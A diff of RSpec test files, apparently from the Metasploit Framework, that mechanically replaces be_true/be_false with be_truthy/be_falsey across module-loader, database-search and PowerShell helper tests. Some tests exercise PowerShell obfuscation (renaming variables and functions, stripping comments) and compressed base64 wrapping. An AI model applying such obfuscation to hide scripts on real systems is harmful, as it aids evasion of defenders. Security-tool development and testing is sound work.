@ -141,7 +141,7 @@ describe Msf::Modules::Loader::Archive do
end end
it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do
module_manager.type_enabled?(enabled_type).should be_true module_manager.type_enabled?(enabled_type).should be_truthy
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
type.should == enabled_type type.should == enabled_type
@ -172,7 +172,7 @@ describe Msf::Modules::Loader::Archive do
path = "path/to/archive#{archive_extension}" path = "path/to/archive#{archive_extension}"
File.extname(path).should == described_class::ARCHIVE_EXTENSION File.extname(path).should == described_class::ARCHIVE_EXTENSION
subject.loadable?(path).should be_true subject.loadable?(path).should be_truthy
end end
it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do
@ -180,7 +180,7 @@ describe Msf::Modules::Loader::Archive do
path.should include(described_class::ARCHIVE_EXTENSION) path.should include(described_class::ARCHIVE_EXTENSION)
File.extname(path).should_not == described_class::ARCHIVE_EXTENSION File.extname(path).should_not == described_class::ARCHIVE_EXTENSION
subject.loadable?(path).should be_false subject.loadable?(path).should be_falsey
end end
end end
@ -244,7 +244,7 @@ describe Msf::Modules::Loader::Archive do
end end
it 'should read modules that exist' do it 'should read modules that exist' do
File.exist?(unarchived_path).should be_true File.exist?(unarchived_path).should be_truthy
end end
around(:each) do |example| around(:each) do |example|

View File

@ -52,7 +52,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should be defined' do it 'should be defined' do
described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy
end end
it 'should map Msf::MODULE_AUX to auxiliary' do it 'should map Msf::MODULE_AUX to auxiliary' do
@ -268,7 +268,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return false if :force is false' do it 'should return false if :force is false' do
subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey
end end
it 'should not call #read_module_content' do it 'should not call #read_module_content' do
@ -335,7 +335,7 @@ describe Msf::Modules::Loader::Base do
subject.stub(:read_module_content => module_content) subject.stub(:read_module_content => module_content)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
namespace_module.parent_path.should == parent_path namespace_module.parent_path.should == parent_path
end end
@ -343,7 +343,7 @@ describe Msf::Modules::Loader::Base do
module_manager.stub(:on_module_load) module_manager.stub(:on_module_load)
subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do
@ -352,7 +352,7 @@ describe Msf::Modules::Loader::Base do
# if the module eval error includes the module_path then the module_path was passed along correctly # if the module eval error includes the module_path then the module_path was passed along correctly
subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/)
subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey
end end
context 'with empty module content' do context 'with empty module content' do
@ -361,12 +361,12 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should not attempt to make a new namespace_module' do it 'should not attempt to make a new namespace_module' do
subject.should_not_receive(:namespace_module_transaction) subject.should_not_receive(:namespace_module_transaction)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
@ -426,7 +426,7 @@ describe Msf::Modules::Loader::Base do
it 'should record the load error using the original error' do it 'should record the load error using the original error' do
subject.should_receive(:load_error).with(module_path, error) subject.should_receive(:load_error).with(module_path, error)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
@ -457,14 +457,14 @@ describe Msf::Modules::Loader::Base do
it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do
subject.should_receive(:load_error).with(module_path, version_compatibility_error) subject.should_receive(:load_error).with(module_path, version_compatibility_error)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
it 'should return false' do it 'should return false' do
@namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
end end
@ -520,11 +520,11 @@ describe Msf::Modules::Loader::Base do
it 'should record the load error' do it 'should record the load error' do
subject.should_receive(:load_error).with(module_path, version_compatibility_error) subject.should_receive(:load_error).with(module_path, version_compatibility_error)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should restore the old namespace module' do it 'should restore the old namespace module' do
@ -558,15 +558,15 @@ describe Msf::Modules::Loader::Base do
module_path, module_path,
kind_of(Msf::Modules::MetasploitClassCompatibilityError) kind_of(Msf::Modules::MetasploitClassCompatibilityError)
) )
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should restore the old namespace module' do it 'should restore the old namespace module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_true
Msf::Modules.const_get(relative_name).should == @original_namespace_module Msf::Modules.const_get(relative_name).should == @original_namespace_module
end end
@ -583,7 +583,7 @@ describe Msf::Modules::Loader::Base do
it 'should check if it is usable' do it 'should check if it is usable' do
subject.should_receive(:usable?).with(metasploit_class).and_return(true) subject.should_receive(:usable?).with(metasploit_class).and_return(true)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
context 'without usable metasploit_class' do context 'without usable metasploit_class' do
@ -593,15 +593,15 @@ describe Msf::Modules::Loader::Base do
it 'should log information' do it 'should log information' do
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should restore the old namespace module' do it 'should restore the old namespace module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_true
Msf::Modules.const_get(relative_name).should == @original_namespace_module Msf::Modules.const_get(relative_name).should == @original_namespace_module
end end
@ -615,7 +615,7 @@ describe Msf::Modules::Loader::Base do
it 'should log load information' do it 'should log load information' do
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do
@ -623,17 +623,17 @@ describe Msf::Modules::Loader::Base do
module_manager.module_load_error_by_path[module_path] = original_load_error module_manager.module_load_error_by_path[module_path] = original_load_error
module_manager.module_load_error_by_path[module_path].should == original_load_error module_manager.module_load_error_by_path[module_path].should == original_load_error
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
module_manager.module_load_error_by_path[module_path].should be_nil module_manager.module_load_error_by_path[module_path].should be_nil
end end
it 'should return true' do it 'should return true' do
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
it 'should call module_manager.on_module_load' do it 'should call module_manager.on_module_load' do
module_manager.should_receive(:on_module_load) module_manager.should_receive(:on_module_load)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
context 'with :recalculate_by_type' do context 'with :recalculate_by_type' do
@ -645,8 +645,8 @@ describe Msf::Modules::Loader::Base do
type, type,
module_reference_name, module_reference_name,
:recalculate_by_type => recalculate_by_type :recalculate_by_type => recalculate_by_type
).should be_true ).should be_truthy
recalculate_by_type[type].should be_true recalculate_by_type[type].should be_truthy
end end
end end
@ -654,13 +654,13 @@ describe Msf::Modules::Loader::Base do
it 'should set the count to 1 if it does not exist' do it 'should set the count to 1 if it does not exist' do
count_by_type = {} count_by_type = {}
count_by_type.has_key?(type).should be_false count_by_type.has_key?(type).should be_falsey
subject.load_module( subject.load_module(
parent_path, parent_path,
type, type,
module_reference_name, module_reference_name,
:count_by_type => count_by_type :count_by_type => count_by_type
).should be_true ).should be_truthy
count_by_type[type].should == 1 count_by_type[type].should == 1
end end
@ -675,7 +675,7 @@ describe Msf::Modules::Loader::Base do
type, type,
module_reference_name, module_reference_name,
:count_by_type => count_by_type :count_by_type => count_by_type
).should be_true ).should be_truthy
incremented_count = original_count + 1 incremented_count = original_count + 1
count_by_type[type].should == incremented_count count_by_type[type].should == incremented_count
@ -802,7 +802,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return nil if the module is not defined' do it 'should return nil if the module is not defined' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
subject.send(:current_module, module_names).should be_nil subject.send(:current_module, module_names).should be_nil
end end
@ -838,7 +838,7 @@ describe Msf::Modules::Loader::Base do
it 'should return false if path is hidden' do it 'should return false if path is hidden' do
hidden_path = '.hidden/path/file.rb' hidden_path = '.hidden/path/file.rb'
subject.send(:module_path?, hidden_path).should be_false subject.send(:module_path?, hidden_path).should be_falsey
end end
it 'should return false if the file extension is not MODULE_EXTENSION' do it 'should return false if the file extension is not MODULE_EXTENSION' do
@ -846,25 +846,25 @@ describe Msf::Modules::Loader::Base do
path = "path/with/wrong/extension#{non_module_extension}" path = "path/with/wrong/extension#{non_module_extension}"
non_module_extension.should_not == described_class::MODULE_EXTENSION non_module_extension.should_not == described_class::MODULE_EXTENSION
subject.send(:module_path?, path).should be_false subject.send(:module_path?, path).should be_falsey
end end
it 'should return false if the file is a unit test' do it 'should return false if the file is a unit test' do
unit_test_extension = '.rb.ut.rb' unit_test_extension = '.rb.ut.rb'
path = "path/to/unit_test#{unit_test_extension}" path = "path/to/unit_test#{unit_test_extension}"
subject.send(:module_path?, path).should be_false subject.send(:module_path?, path).should be_falsey
end end
it 'should return false if the file is a test suite' do it 'should return false if the file is a test suite' do
test_suite_extension = '.rb.ts.rb' test_suite_extension = '.rb.ts.rb'
path = "path/to/test_suite#{test_suite_extension}" path = "path/to/test_suite#{test_suite_extension}"
subject.send(:module_path?, path).should be_false subject.send(:module_path?, path).should be_falsey
end end
it 'should return true otherwise' do it 'should return true otherwise' do
subject.send(:module_path?, module_path).should be_true subject.send(:module_path?, module_path).should be_truthy
end end
end end
@ -1022,7 +1022,7 @@ describe Msf::Modules::Loader::Base do
it 'should return false' do it 'should return false' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
false false
}.should be_false }.should be_falsey
end end
end end
@ -1043,7 +1043,7 @@ describe Msf::Modules::Loader::Base do
it 'should return true' do it 'should return true' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
true true
}.should be_true }.should be_truthy
end end
end end
end end
@ -1077,18 +1077,18 @@ describe Msf::Modules::Loader::Base do
end end
it 'should remove the created namespace module' do it 'should remove the created namespace module' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
begin begin
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
Msf::Module.const_defined?(relative_name).should be_true Msf::Module.const_defined?(relative_name).should be_truthy
raise error_class, error_message raise error_class, error_message
end end
rescue error_class rescue error_class
end end
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
end end
it 'should re-raise the error' do it 'should re-raise the error' do
@ -1102,46 +1102,46 @@ describe Msf::Modules::Loader::Base do
context 'with the block returning false' do context 'with the block returning false' do
it 'should remove the created namespace module' do it 'should remove the created namespace module' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_truthy
false false
end end
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
false false
}.should be_false }.should be_falsey
end end
end end
context 'with the block returning true' do context 'with the block returning true' do
it 'should not restore the non-existent previous namespace module' do it 'should not restore the non-existent previous namespace module' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
created_namespace_module = nil created_namespace_module = nil
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_truthy
created_namespace_module = namespace_module created_namespace_module = namespace_module
true true
end end
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_truthy
Msf::Modules.const_get(relative_name).should == created_namespace_module Msf::Modules.const_get(relative_name).should == created_namespace_module
end end
it 'should return true' do it 'should return true' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
true true
}.should be_true }.should be_truthy
end end
end end
end end
@ -1240,14 +1240,14 @@ describe Msf::Modules::Loader::Base do
context 'with the current constant being the namespace_module' do context 'with the current constant being the namespace_module' do
it 'should not change the constant' do it 'should not change the constant' do
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
current_module = parent_module.const_get(relative_name) current_module = parent_module.const_get(relative_name)
current_module.should == @current_namespace_module current_module.should == @current_namespace_module
subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module)
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
restored_module = parent_module.const_get(relative_name) restored_module = parent_module.const_get(relative_name)
restored_module.should == current_module restored_module.should == current_module
restored_module.should == @current_namespace_module restored_module.should == @current_namespace_module
@ -1263,7 +1263,7 @@ describe Msf::Modules::Loader::Base do
context 'without the current constant being the namespace_module' do context 'without the current constant being the namespace_module' do
it 'should remove relative_name from parent_module' do it 'should remove relative_name from parent_module' do
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
parent_module.should_receive(:remove_const).with(relative_name) parent_module.should_receive(:remove_const).with(relative_name)
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
@ -1281,11 +1281,11 @@ describe Msf::Modules::Loader::Base do
context 'without relative_name being a defined constant' do context 'without relative_name being a defined constant' do
it 'should set relative_name on parent_module to namespace_module' do it 'should set relative_name on parent_module to namespace_module' do
parent_module.const_defined?(relative_name).should be_false parent_module.const_defined?(relative_name).should be_falsey
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
parent_module.const_get(relative_name).should == @original_namespace_module parent_module.const_get(relative_name).should == @original_namespace_module
end end
end end
@ -1307,7 +1307,7 @@ describe Msf::Modules::Loader::Base do
metasploit_class = double('Metasploit Class') metasploit_class = double('Metasploit Class')
metasploit_class.should_not respond_to(:is_usable) metasploit_class.should_not respond_to(:is_usable)
subject.send(:usable?, metasploit_class).should be_true subject.send(:usable?, metasploit_class).should be_truthy
end end
end end
@ -1340,7 +1340,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return false' do it 'should return false' do
subject.send(:usable?, metasploit_class).should be_false subject.send(:usable?, metasploit_class).should be_falsey
end end
end end
end end

View File

@ -51,7 +51,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should load a module that can be created' do it 'should load a module that can be created' do
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
created_module = module_manager.create(module_full_name) created_module = module_manager.create(module_full_name)
@ -74,7 +74,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should not load the module' do it 'should not load the module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
@ -89,7 +89,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should not load the module' do it 'should not load the module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
end end
@ -110,7 +110,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should not raise an error' do it 'should not raise an error' do
File.exist?(module_path).should be_false File.exist?(module_path).should be_falsey
expect { expect {
subject.load_module(parent_path, type, module_reference_name) subject.load_module(parent_path, type, module_reference_name)
@ -118,9 +118,9 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should return false' do it 'should return false' do
File.exist?(module_path).should be_false File.exist?(module_path).should be_falsey
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
end end
@ -138,7 +138,7 @@ describe Msf::Modules::Loader::Directory do
# this ensures that the File.exist?(module_path) checks are checking the same path as the code under test # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test
it 'should attempt to open the expected module_path' do it 'should attempt to open the expected module_path' do
File.should_receive(:open).with(module_path, 'rb') File.should_receive(:open).with(module_path, 'rb')
File.exist?(module_path).should be_false File.exist?(module_path).should be_falsey
subject.send(:read_module_content, parent_path, type, module_reference_name) subject.send(:read_module_content, parent_path, type, module_reference_name)
end end

View File

@ -47,7 +47,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit1').should be_true subject.const_defined?('Metasploit1').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -61,7 +61,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit2').should be_true subject.const_defined?('Metasploit2').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -75,7 +75,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit3').should be_true subject.const_defined?('Metasploit3').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -89,7 +89,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit4').should be_true subject.const_defined?('Metasploit4').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -103,7 +103,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit5').should be_true subject.const_defined?('Metasploit5').should be_truthy
end end
it 'should be newer than Msf::Framework::Major' do it 'should be newer than Msf::Framework::Major' do
@ -179,7 +179,7 @@ describe Msf::Modules::Namespace do
context 'version_compatible!' do context 'version_compatible!' do
context 'without RequiredVersions' do context 'without RequiredVersions' do
it 'should not be defined' do it 'should not be defined' do
subject.const_defined?('RequiredVersions').should be_false subject.const_defined?('RequiredVersions').should be_falsey
end end
it 'should not raise an error' do it 'should not raise an error' do

View File

@ -845,7 +845,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.stance == 'passive' module_detail.stance == 'passive'
}.should be_true }.should be_truthy
end end
end end
@ -859,7 +859,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.stance == 'aggressive' module_detail.stance == 'aggressive'
}.should be_true }.should be_truthy
end end
end end
end end
@ -890,7 +890,7 @@ describe Msf::DBManager do
module_detail.authors.any? { |module_author| module_detail.authors.any? { |module_author|
module_author.email == target_module_author.email module_author.email == target_module_author.email
} }
}.should be_true }.should be_truthy
end end
end end
@ -907,7 +907,7 @@ describe Msf::DBManager do
module_detail.authors.any? { |module_author| module_detail.authors.any? { |module_author|
module_author.name == target_module_author.name module_author.name == target_module_author.name
} }
}.should be_true }.should be_truthy
end end
end end
end end
@ -939,7 +939,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.fullname == target_module_detail.fullname module_detail.fullname == target_module_detail.fullname
}.should be_true }.should be_truthy
end end
end end
@ -954,7 +954,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.name == target_module_detail.name module_detail.name == target_module_detail.name
}.should be_true }.should be_truthy
end end
end end
end end
@ -991,7 +991,7 @@ describe Msf::DBManager do
module_detail.refs.any? { |module_ref| module_detail.refs.any? { |module_ref|
module_ref.name == ref module_ref.name == ref
} }
}.should be_true }.should be_truthy
end end
end end
@ -1029,7 +1029,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.mtype == type module_detail.mtype == type
}.should be_true }.should be_truthy
end end
end end
@ -1057,7 +1057,7 @@ describe Msf::DBManager do
module_detail.actions.any? { |module_action| module_detail.actions.any? { |module_action|
module_action.name == search_string module_action.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1077,7 +1077,7 @@ describe Msf::DBManager do
module_detail.archs.any? { |module_arch| module_detail.archs.any? { |module_arch|
module_arch.name == search_string module_arch.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1097,7 +1097,7 @@ describe Msf::DBManager do
module_detail.authors.any? { |module_author| module_detail.authors.any? { |module_author|
module_author.name == search_string module_author.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1121,7 +1121,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.description == target_module_detail.description module_detail.description == target_module_detail.description
}.should be_true }.should be_truthy
end end
end end
@ -1135,7 +1135,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.fullname == search_string module_detail.fullname == search_string
}.should be_true }.should be_truthy
end end
end end
@ -1150,7 +1150,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.name == target_module_detail.name module_detail.name == target_module_detail.name
}.should be_true }.should be_truthy
end end
end end
end end
@ -1171,7 +1171,7 @@ describe Msf::DBManager do
module_detail.platforms.any? { |module_platform| module_detail.platforms.any? { |module_platform|
module_platform.name == search_string module_platform.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1191,7 +1191,7 @@ describe Msf::DBManager do
module_detail.refs.any? { |module_ref| module_detail.refs.any? { |module_ref|
module_ref.name == search_string module_ref.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1211,7 +1211,7 @@ describe Msf::DBManager do
module_detail.targets.any? { |module_target| module_detail.targets.any? { |module_target|
module_target.name == search_string module_target.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
end end

View File

@ -62,16 +62,16 @@ describe Rex::Exploitation::Powershell::Function do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params) function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
function.name.should eq function_name function.name.should eq function_name
function.code.should eq example_function_without_params function.code.should eq example_function_without_params
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_true function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy
function.params.should be_kind_of Array function.params.should be_kind_of Array
function.params.empty?.should be_true function.params.empty?.should be_truthy
end end
it 'should handle a function with params' do it 'should handle a function with params' do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params) function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
function.name.should eq function_name function.name.should eq function_name
function.code.should eq example_function_with_params function.code.should eq example_function_with_params
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy
function.params.should be_kind_of Array function.params.should be_kind_of Array
function.params.length.should be == 5 function.params.length.should be == 5
function.params[0].klass.should eq 'Type[]' function.params[0].klass.should eq 'Type[]'

View File

@ -146,14 +146,14 @@ lots \t of whitespace
subject.strip_comments subject.strip_comments
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
subject.code.include?('comment').should be_false subject.code.include?('comment').should be_falsey
end end
it 'should strip a single line comment' do it 'should strip a single line comment' do
subject.strip_comments subject.strip_comments
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
subject.code.include?('#').should be_false subject.code.include?('#').should be_falsey
end end
end end
@ -163,7 +163,7 @@ lots \t of whitespace
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
res = (subject.code =~ /\r\n\r\n/) res = (subject.code =~ /\r\n\r\n/)
res.should be_false res.should be_falsey
end end
it 'should strip extra unix new lines' do it 'should strip extra unix new lines' do
@ -171,7 +171,7 @@ lots \t of whitespace
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
res = (subject.code =~ /\n\n/) res = (subject.code =~ /\n\n/)
res.should be_false res.should be_falsey
end end
end end
@ -180,7 +180,7 @@ lots \t of whitespace
subject.strip_whitespace subject.strip_whitespace
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
subject.code.include?('lots of whitespace').should be_true subject.code.include?('lots of whitespace').should be_truthy
end end
end end
@ -189,8 +189,8 @@ lots \t of whitespace
subject.sub_vars subject.sub_vars
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
subject.code.include?('$kernel32').should be_false subject.code.include?('$kernel32').should be_falsey
subject.code.include?('$Logon').should be_false subject.code.include?('$Logon').should be_falsey
end end
end end
@ -199,7 +199,7 @@ lots \t of whitespace
subject.sub_funcs subject.sub_funcs
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
subject.code.include?('Find-4624Logons').should be_false subject.code.include?('Find-4624Logons').should be_falsey
end end
end end
@ -208,24 +208,24 @@ lots \t of whitespace
subject_no_literal.standard_subs subject_no_literal.standard_subs
subject_no_literal.code.should be subject_no_literal.code.should be
subject_no_literal.code.should be_kind_of String subject_no_literal.code.should be_kind_of String
subject_no_literal.code.include?('Find-4624Logons').should be_false subject_no_literal.code.include?('Find-4624Logons').should be_falsey
subject_no_literal.code.include?('lots of whitespace').should be_true subject_no_literal.code.include?('lots of whitespace').should be_true
subject_no_literal.code.include?('$kernel32').should be_false subject_no_literal.code.include?('$kernel32').should be_falsey
subject_no_literal.code.include?('comment').should be_false subject_no_literal.code.include?('comment').should be_falsey
res = (subject_no_literal.code =~ /\r\n\r\n/) res = (subject_no_literal.code =~ /\r\n\r\n/)
res.should be_false res.should be_falsey
end end
it 'should run all substitutions except strip whitespace when literals are present' do it 'should run all substitutions except strip whitespace when literals are present' do
subject.standard_subs subject.standard_subs
subject.code.should be subject.code.should be
subject.code.should be_kind_of String subject.code.should be_kind_of String
subject.code.include?('Find-4624Logons').should be_false subject.code.include?('Find-4624Logons').should be_falsey
subject.code.include?('lots of whitespace').should be_false subject.code.include?('lots of whitespace').should be_falsey
subject.code.include?('$kernel32').should be_false subject.code.include?('$kernel32').should be_falsey
subject.code.include?('comment').should be_false subject.code.include?('comment').should be_falsey
res = (subject.code =~ /\r\n\r\n/) res = (subject.code =~ /\r\n\r\n/)
res.should be_false res.should be_falsey
end end
end end
end end

View File

@ -38,7 +38,7 @@ describe Rex::Exploitation::Powershell::Output do
describe "::deflate_code" do describe "::deflate_code" do
it 'should zlib the code and wrap in powershell in uncompression stub' do it 'should zlib the code and wrap in powershell in uncompression stub' do
compressed = subject.deflate_code compressed = subject.deflate_code
compressed.include?('IO.Compression.DeflateStream').should be_true compressed.include?('IO.Compression.DeflateStream').should be_truthy
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
$1.size.should be < Rex::Text.encode_base64(example_script).size $1.size.should be < Rex::Text.encode_base64(example_script).size
compressed.should eq subject.code compressed.should eq subject.code
